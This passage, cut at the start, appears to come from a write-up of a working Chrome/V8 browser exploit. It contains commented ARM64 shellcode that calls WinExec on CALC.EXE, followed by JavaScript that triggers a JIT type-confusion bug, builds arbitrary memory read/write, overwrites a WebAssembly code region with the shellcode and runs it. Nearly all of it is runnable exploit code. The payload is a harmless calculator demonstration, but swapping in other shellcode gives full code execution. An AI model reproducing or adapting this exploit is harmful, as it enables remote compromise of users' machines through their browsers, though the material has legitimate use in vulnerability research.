// mov, x9, sp
 0xe9, 0x03, 0x00, 0x91,
// Increment x9 by 8
// add, x9, x9, #8
 0x29, 0x21, 0x00, 0x91,

// Put CALC.EXE in x0
// AC
// movz x0, #0x4143
 0x60, 0x28, 0x88, 0xD2,
// CL
// movk x0, #0x434c
 0x80, 0x69, 0xA8, 0xF2,
// E.
// movk x0, #452e
 0xc0, 0xa5, 0xC8, 0xF2,
// EX
// movk x0, #4558
 0x00, 0xab, 0xE8, 0xF2,
// put x0 on x9-stack
// str, x0, [x9], #8
 0x20, 0x85, 0x00, 0xF8,
// Terminate string with a null:
// Put null into x0
// movz, x0, #0
 0x21, 0x00, 0x80, 0xd2,
// put x0 on x9-stack
// str x0, [x9], #8
 0x20, 0x85, 0x00, 0xF8,
// Put the pointer to "CALC.EXE\0" into x0
// mov x0, x9
 0xe0, 0x03, 0x09, 0xaa,
// Adjust pointer to point to beginning of string
// sub, x0, 0x, #0x10
 0x00, 0x40, 0x00, 0xd1,
// put 0x1 in x1 (second argument to WinExec)
// movz x1, #0x01
 0x21, 0x00, 0x80, 0xd2,
// Call WinExec()
// jalr x8
 0x00, 0x01, 0x3f, 0xd6,
var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 0, 1, 0, 4, 132, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 0, 0, 1, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 0, 1, 132, 128, 128, 0, 0, 1, 12, 128, 0, 65, 42, 11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var main = wasmInstance.exports.main;
var bf = new ArrayBuffer(8);
var bfView = new DataView(bf);

function fLow(f) {
    bfView.setFloat64(0, f, true);
    return (bfView.getUint32(0, true));
}

function fHi(f) {
    bfView.setFloat64(0, f, true);
    return (bfView.getUint32(4, true))
}

function i2f(low, hi) {
    bfView.setUint32(0, low, true);
    bfView.setUint32(4, hi, true);
    return bfView.getFloat64(0, true);
}

function f2big(f) {
    bfView.setFloat64(0, f, true);
    return bfView.getBigUint64(0, true);
}

function big2f(b) {
    bfView.setBigUint64(0, b, true);
    return bfView.getFloat64(0, true);
}

class LeakArrayBuffer extends ArrayBuffer {
    constructor(size) {
        super(size);
        this.slot = 0xb33f;
    }
}

function foo(a) {
    let x = -1;
    if (a) x = 0xFFFFFFFF;
    var arr = new Array(Math.sign(0 - Math.max(0, x, -1)));
    arr.shift();
    let local_arr = Array(2);
    local_arr[0] = 5.1;//4014666666666666
    let buff = new LeakArrayBuffer(0x1000);//byteLength idx=8
    arr[0] = 0x1122;
    return [arr, local_arr, buff];
}

for (var i = 0; i < 0x10000; ++i)
    foo(false);
gc(); gc();
[corrupt_arr, rwarr, corrupt_buff] = foo(true);
corrupt_arr[12] = 0x224444;
delete corrupt_arr;

function setbackingStore(hi, low) {
    rwarr[4] = i2f(fLow(rwarr[4]), hi);
    rwarr[5] = i2f(low, fHi(rwarr[5]));
}

function leakObjLow(o) {
    corrupt_buff.slot = o;
    return (fLow(rwarr[9]) - 1);
}
let corrupt_view = new DataView(corrupt_buff);
let corrupt_buffer_ptr_low = leakObjLow(corrupt_buff);
let idx0Addr = corrupt_buffer_ptr_low - 0x10;
let baseAddr = (corrupt_buffer_ptr_low & 0xffff0000) - ((corrupt_buffer_ptr_low & 0xffff0000) % 0x40000) + 0x40000;
let delta = baseAddr + 0x1c - idx0Addr;
if ((delta % 8) == 0) {
    let baseIdx = delta / 8;
    this.base = fLow(rwarr[baseIdx]);
} else {
    let baseIdx = ((delta - (delta % 8)) / 8);
    this.base = fHi(rwarr[baseIdx]);
}
let wasmInsAddr = leakObjLow(wasmInstance);
setbackingStore(wasmInsAddr, this.base);
let code_entry = corrupt_view.getFloat64(13 * 8, true);
setbackingStore(fLow(code_entry), fHi(code_entry));
for (let i = 0; i < shellcode.length; i++) {
    corrupt_view.setUint8(i, shellcode[i]);
}
main();
</script>

or also see: https://gist.github.com/wdormann/bbf95c5cebb826a1e21124cfc320106

In action: